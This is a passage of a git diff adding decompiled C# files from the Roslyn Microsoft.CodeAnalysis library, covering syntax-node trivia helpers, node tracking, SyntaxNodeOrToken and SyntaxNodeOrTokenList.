root, IEnumerable nodes, SyntaxRemoveOptions options) where TRoot : SyntaxNode + { + return (TRoot)root.RemoveNodesCore(nodes, options); + } + + public static TNode NormalizeWhitespace(this TNode node, string indentation, bool elasticTrivia) where TNode : SyntaxNode + { + return (TNode)node.NormalizeWhitespaceCore(indentation, "\r\n", elasticTrivia); + } + + public static TNode NormalizeWhitespace(this TNode node, string indentation = " ", string eol = "\r\n", bool elasticTrivia = false) where TNode : SyntaxNode + { + return (TNode)node.NormalizeWhitespaceCore(indentation, eol, elasticTrivia); + } + + public static TSyntax WithTriviaFrom(this TSyntax syntax, SyntaxNode node) where TSyntax : SyntaxNode + { + return syntax.WithLeadingTrivia(node.GetLeadingTrivia()).WithTrailingTrivia(node.GetTrailingTrivia()); + } + + public static TSyntax WithoutTrivia(this TSyntax syntax) where TSyntax : SyntaxNode + { + return syntax.WithoutLeadingTrivia().WithoutTrailingTrivia(); + } + + public static SyntaxToken WithoutTrivia(this SyntaxToken token) + { + return token.WithTrailingTrivia(default(SyntaxTriviaList)).WithLeadingTrivia(default(SyntaxTriviaList)); + } + + public static TSyntax WithLeadingTrivia(this TSyntax node, SyntaxTriviaList trivia) where TSyntax : SyntaxNode + { + SyntaxToken firstToken = node.GetFirstToken(includeZeroWidth: true); + SyntaxToken newToken = firstToken.WithLeadingTrivia(trivia); + return node.ReplaceToken(firstToken, newToken); + } + + public static TSyntax WithLeadingTrivia(this TSyntax node, IEnumerable? trivia) where TSyntax : SyntaxNode + { + SyntaxToken firstToken = node.GetFirstToken(includeZeroWidth: true); + SyntaxToken newToken = firstToken.WithLeadingTrivia(trivia); + return node.ReplaceToken(firstToken, newToken); + } + + public static TSyntax WithoutLeadingTrivia(this TSyntax node) where TSyntax : SyntaxNode + { + return node.WithLeadingTrivia((IEnumerable?)null); + } + + public static TSyntax WithLeadingTrivia(this TSyntax node, params SyntaxTrivia[]? trivia) where TSyntax : SyntaxNode + { + return node.WithLeadingTrivia((IEnumerable?)trivia); + } + + public static TSyntax WithTrailingTrivia(this TSyntax node, SyntaxTriviaList trivia) where TSyntax : SyntaxNode + { + SyntaxToken lastToken = node.GetLastToken(includeZeroWidth: true); + SyntaxToken newToken = lastToken.WithTrailingTrivia(trivia); + return node.ReplaceToken(lastToken, newToken); + } + + public static TSyntax WithTrailingTrivia(this TSyntax node, IEnumerable? trivia) where TSyntax : SyntaxNode + { + SyntaxToken lastToken = node.GetLastToken(includeZeroWidth: true); + SyntaxToken newToken = lastToken.WithTrailingTrivia(trivia); + return node.ReplaceToken(lastToken, newToken); + } + + public static TSyntax WithoutTrailingTrivia(this TSyntax node) where TSyntax : SyntaxNode + { + return node.WithTrailingTrivia((IEnumerable?)null); + } + + public static TSyntax WithTrailingTrivia(this TSyntax node, params SyntaxTrivia[]? trivia) where TSyntax : SyntaxNode + { + return node.WithTrailingTrivia((IEnumerable?)trivia); + } + + [return: NotNullIfNotNull("node")] + internal static SyntaxNode? AsRootOfNewTreeWithOptionsFrom(this SyntaxNode? node, SyntaxTree oldTree) + { + if (node == null) + { + return null; + } + return oldTree.WithRootAndOptions(node, oldTree.Options).GetRoot(); + } + + public static TRoot TrackNodes(this TRoot root, IEnumerable nodes) where TRoot : SyntaxNode + { + if (nodes == null) + { + throw new ArgumentNullException("nodes"); + } + foreach (SyntaxNode node in nodes) + { + if (!IsDescendant(root, node)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidNodeToTrack); + } + s_nodeToIdMap.GetValue(node, (SyntaxNode n) => new SyntaxAnnotation("Id")); + } + return root.ReplaceNodes(nodes, (SyntaxNode n, SyntaxNode r) => (!n.HasAnnotation(GetId(n))) ? r.WithAdditionalAnnotations(GetId(n)) : r); + } + + public static TRoot TrackNodes(this TRoot root, params SyntaxNode[] nodes) where TRoot : SyntaxNode + { + return root.TrackNodes((IEnumerable)nodes); + } + + public static IEnumerable GetCurrentNodes(this SyntaxNode root, TNode node) where TNode : SyntaxNode + { + if (node == null) + { + throw new ArgumentNullException("node"); + } + return GetCurrentNodeFromTrueRoots(GetRoot(root), node).OfType(); + } + + public static TNode? GetCurrentNode(this SyntaxNode root, TNode node) where TNode : SyntaxNode + { + return root.GetCurrentNodes(node).SingleOrDefault(); + } + + public static IEnumerable GetCurrentNodes(this SyntaxNode root, IEnumerable nodes) where TNode : SyntaxNode + { + if (nodes == null) + { + throw new ArgumentNullException("nodes"); + } + SyntaxNode trueRoot = GetRoot(root); + foreach (TNode node in nodes) + { + foreach (TNode item in GetCurrentNodeFromTrueRoots(trueRoot, node).OfType()) + { + yield return item; + } + } + } + + private static IReadOnlyList GetCurrentNodeFromTrueRoots(SyntaxNode trueRoot, SyntaxNode node) + { + SyntaxAnnotation id = GetId(node); + if ((object)id != null) + { + return s_rootToCurrentNodesMap.GetValue(trueRoot, (SyntaxNode r) => new CurrentNodes(r)).GetNodes(id); + } + return SpecializedCollections.EmptyReadOnlyList(); + } + + private static SyntaxAnnotation? GetId(SyntaxNode original) + { + s_nodeToIdMap.TryGetValue(original, out SyntaxAnnotation value); + return value; + } + + private static SyntaxNode GetRoot(SyntaxNode node) + { + while (true) + { + if (node.Parent != null) + { + node = node.Parent; + continue; + } + if (!node.IsStructuredTrivia) + { + break; + } + node = ((IStructuredTriviaSyntax)node).ParentTrivia.Token.Parent; + } + return node; + } + + private static bool IsDescendant(SyntaxNode root, SyntaxNode node) + { + while (node != null) + { + if (node == root) + { + return true; + } + if (node.Parent != null) + { + node = node.Parent; + continue; + } + if (!node.IsStructuredTrivia) + { + break; + } + node = ((IStructuredTriviaSyntax)node).ParentTrivia.Token.Parent; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeLocationComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeLocationComparer.cs new file mode 100644 index 0000000..8359175 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeLocationComparer.cs @@ -0,0 +1,30 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis; + +internal class SyntaxNodeLocationComparer : IComparer +{ + private readonly Compilation _compilation; + + public SyntaxNodeLocationComparer(Compilation compilation) + { + _compilation = compilation; + } + + public int Compare(SyntaxNode? x, SyntaxNode? y) + { + if (x == null) + { + if (y == null) + { + return 0; + } + return -1; + } + if (y == null) + { + return 1; + } + return _compilation.CompareSourceLocations(x, y); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeOrToken.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeOrToken.cs new file mode 100644 index 0000000..6eb5315 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeOrToken.cs @@ -0,0 +1,783 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public readonly struct SyntaxNodeOrToken : IEquatable +{ + private readonly SyntaxNode? _nodeOrParent; + + private readonly GreenNode? _token; + + private readonly int _position; + + private readonly int _tokenIndex; + + private string KindText + { + get + { + if (_token != null) + { + return _token.KindText; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.Green.KindText; + } + return "None"; + } + } + + public int RawKind => _token?.RawKind ?? _nodeOrParent?.RawKind ?? 0; + + public string Language + { + get + { + if (_token != null) + { + return _token.Language; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.Language; + } + return string.Empty; + } + } + + public bool IsMissing => _token?.IsMissing ?? _nodeOrParent?.IsMissing ?? false; + + public SyntaxNode? Parent + { + get + { + if (_token == null) + { + return _nodeOrParent?.Parent; + } + return _nodeOrParent; + } + } + + internal GreenNode? UnderlyingNode + { + get + { + GreenNode greenNode = _token; + if (greenNode == null) + { + SyntaxNode? nodeOrParent = _nodeOrParent; + if (nodeOrParent == null) + { + return null; + } + greenNode = nodeOrParent.Green; + } + return greenNode; + } + } + + internal int Position => _position; + + internal GreenNode RequiredUnderlyingNode => UnderlyingNode; + + public bool IsToken => !IsNode; + + public bool IsNode => _tokenIndex < 0; + + public TextSpan Span + { + get + { + if (_token != null) + { + return AsToken().Span; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.Span; + } + return default(TextSpan); + } + } + + public int SpanStart + { + get + { + if (_token != null) + { + return _position + _token.GetLeadingTriviaWidth(); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.SpanStart; + } + return 0; + } + } + + public TextSpan FullSpan + { + get + { + if (_token != null) + { + return new TextSpan(Position, _token.FullWidth); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.FullSpan; + } + return default(TextSpan); + } + } + + public bool HasLeadingTrivia => GetLeadingTrivia().Count > 0; + + public bool HasTrailingTrivia => GetTrailingTrivia().Count > 0; + + public bool ContainsDiagnostics + { + get + { + if (_token != null) + { + return _token.ContainsDiagnostics; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.ContainsDiagnostics; + } + return false; + } + } + + public bool ContainsDirectives + { + get + { + if (_token != null) + { + return _token.ContainsDirectives; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.ContainsDirectives; + } + return false; + } + } + + public bool ContainsAnnotations + { + get + { + if (_token != null) + { + return _token.ContainsAnnotations; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.ContainsAnnotations; + } + return false; + } + } + + public SyntaxTree? SyntaxTree => _nodeOrParent?.SyntaxTree; + + internal int Width => _token?.Width ?? _nodeOrParent?.Width ?? 0; + + internal int FullWidth => _token?.FullWidth ?? _nodeOrParent?.FullWidth ?? 0; + + internal int EndPosition => _position + FullWidth; + + internal SyntaxNodeOrToken(SyntaxNode node) + { + this = default(SyntaxNodeOrToken); + _position = node.Position; + _nodeOrParent = node; + _tokenIndex = -1; + } + + internal SyntaxNodeOrToken(SyntaxNode? parent, GreenNode? token, int position, int index) + { + _position = position; + _tokenIndex = index; + _nodeOrParent = parent; + _token = token; + } + + internal string GetDebuggerDisplay() + { + return GetType().Name + " " + KindText + " " + ToString(); + } + + public SyntaxToken AsToken() + { + if (_token != null) + { + return new SyntaxToken(_nodeOrParent, _token, Position, _tokenIndex); + } + return default(SyntaxToken); + } + + internal bool AsToken(out SyntaxToken token) + { + if (IsToken) + { + token = AsToken(); + return true; + } + token = default(SyntaxToken); + return false; + } + + public SyntaxNode? AsNode() + { + if (_token != null) + { + return null; + } + return _nodeOrParent; + } + + internal bool AsNode([NotNullWhen(true)] out SyntaxNode? node) + { + if (IsNode) + { + node = _nodeOrParent; + return node != null; + } + node = null; + return false; + } + + public ChildSyntaxList ChildNodesAndTokens() + { + if (AsNode(out SyntaxNode node)) + { + return node.ChildNodesAndTokens(); + } + return default(ChildSyntaxList); + } + + public override string ToString() + { + if (_token != null) + { + return _token.ToString(); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.ToString(); + } + return string.Empty; + } + + public string ToFullString() + { + if (_token != null) + { + return _token.ToFullString(); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.ToFullString(); + } + return string.Empty; + } + + public void WriteTo(TextWriter writer) + { + if (_token != null) + { + _token.WriteTo(writer); + } + else + { + _nodeOrParent?.WriteTo(writer); + } + } + + public SyntaxTriviaList GetLeadingTrivia() + { + if (_token != null) + { + return AsToken().LeadingTrivia; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.GetLeadingTrivia(); + } + return default(SyntaxTriviaList); + } + + public SyntaxTriviaList GetTrailingTrivia() + { + if (_token != null) + { + return AsToken().TrailingTrivia; + } + if (_nodeOrParent != null) + { + return _nodeOrParent.GetTrailingTrivia(); + } + return default(SyntaxTriviaList); + } + + public SyntaxNodeOrToken WithLeadingTrivia(IEnumerable trivia) + { + if (_token != null) + { + return AsToken().WithLeadingTrivia(trivia); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.WithLeadingTrivia(trivia); + } + return this; + } + + public SyntaxNodeOrToken WithLeadingTrivia(params SyntaxTrivia[] trivia) + { + return WithLeadingTrivia((IEnumerable)trivia); + } + + public SyntaxNodeOrToken WithTrailingTrivia(IEnumerable trivia) + { + if (_token != null) + { + return AsToken().WithTrailingTrivia(trivia); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.WithTrailingTrivia(trivia); + } + return this; + } + + public SyntaxNodeOrToken WithTrailingTrivia(params SyntaxTrivia[] trivia) + { + return WithTrailingTrivia((IEnumerable)trivia); + } + + public IEnumerable GetDiagnostics() + { + if (_token != null) + { + return AsToken().GetDiagnostics(); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.GetDiagnostics(); + } + return SpecializedCollections.EmptyEnumerable(); + } + + public bool HasAnnotations(string annotationKind) + { + if (_token != null) + { + return _token.HasAnnotations(annotationKind); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.HasAnnotations(annotationKind); + } + return false; + } + + public bool HasAnnotations(IEnumerable annotationKinds) + { + if (_token != null) + { + return _token.HasAnnotations(annotationKinds); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.HasAnnotations(annotationKinds); + } + return false; + } + + public bool HasAnnotation([NotNullWhen(true)] SyntaxAnnotation? annotation) + { + if (_token != null) + { + return _token.HasAnnotation(annotation); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.HasAnnotation(annotation); + } + return false; + } + + public IEnumerable GetAnnotations(string annotationKind) + { + if (_token != null) + { + return _token.GetAnnotations(annotationKind); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.GetAnnotations(annotationKind); + } + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetAnnotations(IEnumerable annotationKinds) + { + if (_token != null) + { + return _token.GetAnnotations(annotationKinds); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.GetAnnotations(annotationKinds); + } + return SpecializedCollections.EmptyEnumerable(); + } + + public SyntaxNodeOrToken WithAdditionalAnnotations(params SyntaxAnnotation[] annotations) + { + return WithAdditionalAnnotations((IEnumerable)annotations); + } + + public SyntaxNodeOrToken WithAdditionalAnnotations(IEnumerable annotations) + { + if (annotations == null) + { + throw new ArgumentNullException("annotations"); + } + if (_token != null) + { + return AsToken().WithAdditionalAnnotations(annotations); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.WithAdditionalAnnotations(annotations); + } + return this; + } + + public SyntaxNodeOrToken WithoutAnnotations(params SyntaxAnnotation[] annotations) + { + return WithoutAnnotations((IEnumerable)annotations); + } + + public SyntaxNodeOrToken WithoutAnnotations(IEnumerable annotations) + { + if (annotations == null) + { + throw new ArgumentNullException("annotations"); + } + if (_token != null) + { + return AsToken().WithoutAnnotations(annotations); + } + if (_nodeOrParent != null) + { + return _nodeOrParent.WithoutAnnotations(annotations); + } + return this; + } + + public SyntaxNodeOrToken WithoutAnnotations(string annotationKind) + { + if (annotationKind == null) + { + throw new ArgumentNullException("annotationKind"); + } + if (HasAnnotations(annotationKind)) + { + return WithoutAnnotations(GetAnnotations(annotationKind)); + } + return this; + } + + public bool Equals(SyntaxNodeOrToken other) + { + if (_nodeOrParent == other._nodeOrParent && _token == other._token) + { + return _tokenIndex == other._tokenIndex; + } + return false; + } + + public static bool operator ==(SyntaxNodeOrToken left, SyntaxNodeOrToken right) + { + return left.Equals(right); + } + + public static bool operator !=(SyntaxNodeOrToken left, SyntaxNodeOrToken right) + { + return !left.Equals(right); + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxNodeOrToken other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_nodeOrParent, Hash.Combine(_token, _tokenIndex)); + } + + public bool IsEquivalentTo(SyntaxNodeOrToken other) + { + if (IsNode != other.IsNode) + { + return false; + } + GreenNode underlyingNode = UnderlyingNode; + GreenNode underlyingNode2 = other.UnderlyingNode; + if (underlyingNode != underlyingNode2) + { + return underlyingNode?.IsEquivalentTo(underlyingNode2) ?? false; + } + return true; + } + + public bool IsIncrementallyIdenticalTo(SyntaxNodeOrToken other) + { + if (UnderlyingNode != null) + { + return UnderlyingNode == other.UnderlyingNode; + } + return false; + } + + public static implicit operator SyntaxNodeOrToken(SyntaxToken token) + { + return new SyntaxNodeOrToken(token.Parent, token.Node, token.Position, token.Index); + } + + public static explicit operator SyntaxToken(SyntaxNodeOrToken nodeOrToken) + { + return nodeOrToken.AsToken(); + } + + public static implicit operator SyntaxNodeOrToken(SyntaxNode? node) + { + if (node == null) + { + return default(SyntaxNodeOrToken); + } + return new SyntaxNodeOrToken(node); + } + + public static explicit operator SyntaxNode?(SyntaxNodeOrToken nodeOrToken) + { + return nodeOrToken.AsNode(); + } + + public Location? GetLocation() + { + if (AsToken(out var token)) + { + return token.GetLocation(); + } + return _nodeOrParent?.GetLocation(); + } + + internal IList GetDirectives(Func? filter = null) where TDirective : SyntaxNode + { + List directives = null; + GetDirectives(this, filter, ref directives); + IList list = directives; + return list ?? SpecializedCollections.EmptyList(); + } + + private static void GetDirectives(in SyntaxNodeOrToken node, Func? filter, ref List? directives) where TDirective : SyntaxNode + { + if (node._token != null) + { + SyntaxToken syntaxToken = node.AsToken(); + if (syntaxToken.ContainsDirectives) + { + GetDirectives(syntaxToken.LeadingTrivia, filter, ref directives); + GetDirectives(syntaxToken.TrailingTrivia, filter, ref directives); + return; + } + } + if (node._nodeOrParent != null) + { + GetDirectives(node._nodeOrParent, filter, ref directives); + } + } + + private static void GetDirectives(SyntaxNode node, Func? filter, ref List? directives) where TDirective : SyntaxNode + { + foreach (SyntaxTrivia item in node.DescendantTrivia((SyntaxNode syntaxNode) => syntaxNode.ContainsDirectives, descendIntoTrivia: true)) + { + GetDirectivesInTrivia(item, filter, ref directives); + } + } + + private static bool GetDirectivesInTrivia(in SyntaxTrivia trivia, Func? filter, ref List? directives) where TDirective : SyntaxNode + { + if (trivia.IsDirective) + { + if (trivia.GetStructure() is TDirective val && (filter == null || filter(val))) + { + if (directives == null) + { + directives = new List(); + } + directives.Add(val); + } + return true; + } + return false; + } + + private static void GetDirectives(in SyntaxTriviaList trivia, Func? filter, ref List? directives) where TDirective : SyntaxNode + { + SyntaxTriviaList.Enumerator enumerator = trivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia trivia2 = enumerator.Current; + if (!GetDirectivesInTrivia(in trivia2, filter, ref directives)) + { + SyntaxNode structure = trivia2.GetStructure(); + if (structure != null) + { + GetDirectives(structure, filter, ref directives); + } + } + } + } + + public static int GetFirstChildIndexSpanningPosition(SyntaxNode node, int position) + { + if (!node.FullSpan.IntersectsWith(position)) + { + throw new ArgumentException("Must be within node's FullSpan", "position"); + } + return GetFirstChildIndexSpanningPosition(node.ChildNodesAndTokens(), position); + } + + internal static int GetFirstChildIndexSpanningPosition(ChildSyntaxList list, int position) + { + int num = 0; + int num2 = list.Count - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + SyntaxNodeOrToken syntaxNodeOrToken = list[num3]; + if (position < syntaxNodeOrToken.Position) + { + num2 = num3 - 1; + continue; + } + if (position == syntaxNodeOrToken.Position) + { + while (num3 > 0 && list[num3 - 1].FullWidth == 0) + { + num3--; + } + return num3; + } + if (position >= syntaxNodeOrToken.EndPosition) + { + num = num3 + 1; + continue; + } + return num3; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/SyntaxNodeOrToken.cs", 960); + } + + public SyntaxNodeOrToken GetNextSibling() + { + SyntaxNode parent = Parent; + if (parent == null) + { + return default(SyntaxNodeOrToken); + } + ChildSyntaxList siblings = parent.ChildNodesAndTokens(); + if (siblings.Count >= 8) + { + return GetNextSiblingWithSearch(siblings); + } + return GetNextSiblingFromStart(siblings); + } + + public SyntaxNodeOrToken GetPreviousSibling() + { + if (Parent != null) + { + bool flag = false; + ChildSyntaxList.Reversed.Enumerator enumerator = Parent.ChildNodesAndTokens().Reverse().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (flag) + { + return current; + } + if (current == this) + { + flag = true; + } + } + } + return default(SyntaxNodeOrToken); + } + + private SyntaxNodeOrToken GetNextSiblingFromStart(ChildSyntaxList siblings) + { + bool flag = false; + ChildSyntaxList.Enumerator enumerator = siblings.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (flag) + { + return current; + } + if (current == this) + { + flag = true; + } + } + return default(SyntaxNodeOrToken); + } + + private SyntaxNodeOrToken GetNextSiblingWithSearch(ChildSyntaxList siblings) + { + int firstChildIndexSpanningPosition = GetFirstChildIndexSpanningPosition(siblings, _position); + int count = siblings.Count; + bool flag = false; + for (int i = firstChildIndexSpanningPosition; i < count; i++) + { + if (flag) + { + return siblings[i]; + } + if (siblings[i] == this) + { + flag = true; + } + } + return default(SyntaxNodeOrToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeOrTokenList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeOrTokenList.cs new file mode 100644 index 0000000..52938b9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxNodeOrTokenList.cs @@ -0,0 +1,378 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SyntaxNodeOrTokenList : IEquatable, IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly SyntaxNodeOrTokenList _list; + + private int _index; + + public SyntaxNodeOrToken Current => _list[_index]; + + object IEnumerator.Current => Current; + + internal Enumerator(in SyntaxNodeOrTokenList list) + { + this = default(Enumerator); + _list = list; + _index = -1; + } + + public bool MoveNext() + { + if (_index < _list.Count) + { + _index++; + } + return _index < _list.Count; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + } + + private readonly SyntaxNode? _node; + + internal readonly int index; + + internal SyntaxNode? Node => _node; + + internal int Position => _node?.Position ?? 0; + + internal SyntaxNode? Parent => _node?.Parent; + + public int Count + { + get + { + if (_node != null) + { + if (!_node.Green.IsList) + { + return 1; + } + return _node.SlotCount; + } + return 0; + } + } + + public SyntaxNodeOrToken this[int index] + { + get + { + if (_node != null) + { + if (!_node.IsList) + { + if (index == 0) + { + return _node; + } + } + else if ((uint)index < (uint)_node.SlotCount) + { + GreenNode requiredSlot = _node.Green.GetRequiredSlot(index); + if (requiredSlot.IsToken) + { + return new SyntaxToken(Parent, requiredSlot, _node.GetChildPosition(index), this.index + index); + } + return _node.GetRequiredNodeSlot(index); + } + } + throw new ArgumentOutOfRangeException("index"); + } + } + + public TextSpan FullSpan => _node?.FullSpan ?? default(TextSpan); + + public TextSpan Span => _node?.Span ?? default(TextSpan); + + private SyntaxNodeOrToken[] Nodes => this.ToArray(); + + internal SyntaxNodeOrTokenList(SyntaxNode? node, int index) + { + this = default(SyntaxNodeOrTokenList); + if (node != null) + { + _node = node; + this.index = index; + } + } + + public SyntaxNodeOrTokenList(IEnumerable nodesAndTokens) + : this(CreateNode(nodesAndTokens), 0) + { + } + + public SyntaxNodeOrTokenList(params SyntaxNodeOrToken[] nodesAndTokens) + : this((IEnumerable)nodesAndTokens) + { + } + + private static SyntaxNode? CreateNode(IEnumerable nodesAndTokens) + { + if (nodesAndTokens == null) + { + throw new ArgumentNullException("nodesAndTokens"); + } + SyntaxNodeOrTokenListBuilder syntaxNodeOrTokenListBuilder = new SyntaxNodeOrTokenListBuilder(8); + syntaxNodeOrTokenListBuilder.Add(nodesAndTokens); + return syntaxNodeOrTokenListBuilder.ToList().Node; + } + + public override string ToString() + { + if (_node == null) + { + return string.Empty; + } + return _node.ToString(); + } + + public string ToFullString() + { + if (_node == null) + { + return string.Empty; + } + return _node.ToFullString(); + } + + public SyntaxNodeOrToken First() + { + return this[0]; + } + + public SyntaxNodeOrToken FirstOrDefault() + { + if (!Any()) + { + return default(SyntaxNodeOrToken); + } + return this[0]; + } + + public SyntaxNodeOrToken Last() + { + return this[Count - 1]; + } + + public SyntaxNodeOrToken LastOrDefault() + { + if (!Any()) + { + return default(SyntaxNodeOrToken); + } + return this[Count - 1]; + } + + public int IndexOf(SyntaxNodeOrToken nodeOrToken) + { + int num = 0; + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + if (enumerator.Current == nodeOrToken) + { + return num; + } + num++; + } + } + return -1; + } + + public bool Any() + { + return _node != null; + } + + internal void CopyTo(int offset, GreenNode?[] array, int arrayOffset, int count) + { + for (int i = 0; i < count; i++) + { + array[arrayOffset + i] = this[i + offset].UnderlyingNode; + } + } + + public SyntaxNodeOrTokenList Add(SyntaxNodeOrToken nodeOrToken) + { + return Insert(Count, nodeOrToken); + } + + public SyntaxNodeOrTokenList AddRange(IEnumerable nodesOrTokens) + { + return InsertRange(Count, nodesOrTokens); + } + + public SyntaxNodeOrTokenList Insert(int index, SyntaxNodeOrToken nodeOrToken) + { + if (nodeOrToken == default(SyntaxNodeOrToken)) + { + throw new ArgumentOutOfRangeException("nodeOrToken"); + } + return InsertRange(index, SpecializedCollections.SingletonEnumerable(nodeOrToken)); + } + + public SyntaxNodeOrTokenList InsertRange(int index, IEnumerable nodesAndTokens) + { + if (index < 0 || index > Count) + { + throw new ArgumentOutOfRangeException("index"); + } + if (nodesAndTokens == null) + { + throw new ArgumentNullException("nodesAndTokens"); + } + if (nodesAndTokens.IsEmpty()) + { + return this; + } + List list = this.ToList(); + list.InsertRange(index, nodesAndTokens); + return CreateList(list); + } + + private static SyntaxNodeOrTokenList CreateList(List items) + { + if (items.Count == 0) + { + return default(SyntaxNodeOrTokenList); + } + GreenNode greenNode = GreenNode.CreateList(items, (SyntaxNodeOrToken n) => n.RequiredUnderlyingNode); + if (greenNode.IsToken) + { + greenNode = Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(new ArrayElement[1] + { + new ArrayElement + { + Value = greenNode + } + }); + } + return new SyntaxNodeOrTokenList(greenNode.CreateRed(), 0); + } + + public SyntaxNodeOrTokenList RemoveAt(int index) + { + if (index < 0 || index >= Count) + { + throw new ArgumentOutOfRangeException("index"); + } + List list = this.ToList(); + list.RemoveAt(index); + return CreateList(list); + } + + public SyntaxNodeOrTokenList Remove(SyntaxNodeOrToken nodeOrTokenInList) + { + int num = IndexOf(nodeOrTokenInList); + if (num >= 0 && num < Count) + { + return RemoveAt(num); + } + return this; + } + + public SyntaxNodeOrTokenList Replace(SyntaxNodeOrToken nodeOrTokenInList, SyntaxNodeOrToken newNodeOrToken) + { + if (newNodeOrToken == default(SyntaxNodeOrToken)) + { + throw new ArgumentOutOfRangeException("newNodeOrToken"); + } + return ReplaceRange(nodeOrTokenInList, new SyntaxNodeOrToken[1] { newNodeOrToken }); + } + + public SyntaxNodeOrTokenList ReplaceRange(SyntaxNodeOrToken nodeOrTokenInList, IEnumerable newNodesAndTokens) + { + int num = IndexOf(nodeOrTokenInList); + if (num >= 0 && num < Count) + { + List list = this.ToList(); + list.RemoveAt(num); + list.InsertRange(num, newNodesAndTokens); + return CreateList(list); + } + throw new ArgumentOutOfRangeException("nodeOrTokenInList"); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_node != null) + { + return GetEnumerator(); + } + return SpecializedCollections.EmptyEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_node != null) + { + return GetEnumerator(); + } + return SpecializedCollections.EmptyEnumerator(); + } + + public static bool operator ==(SyntaxNodeOrTokenList left, SyntaxNodeOrTokenList right) + { + return left.Equals(right); + } + + public static bool operator !=(SyntaxNodeOrTokenList left, SyntaxNodeOrTokenList right) + { + return !left.Equals(right); + } + + public bool Equals(SyntaxNodeOrTokenList other) + { + return _node == other._node; + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxNodeOrTokenList) + { + return Equals((SyntaxNodeOrTokenList)obj); + } + return false; + } + + public override int GetHashCode() + { + return _node?.GetHashCode() ?? 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReceiverCreator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReceiverCreator.cs new file mode 100644 index 0000000..ab5dd1d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReceiverCreator.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis; + +public delegate ISyntaxReceiver SyntaxReceiverCreator(); diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReceiverStrategy.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReceiverStrategy.cs new file mode 100644 index 0000000..e9ada3b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReceiverStrategy.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + 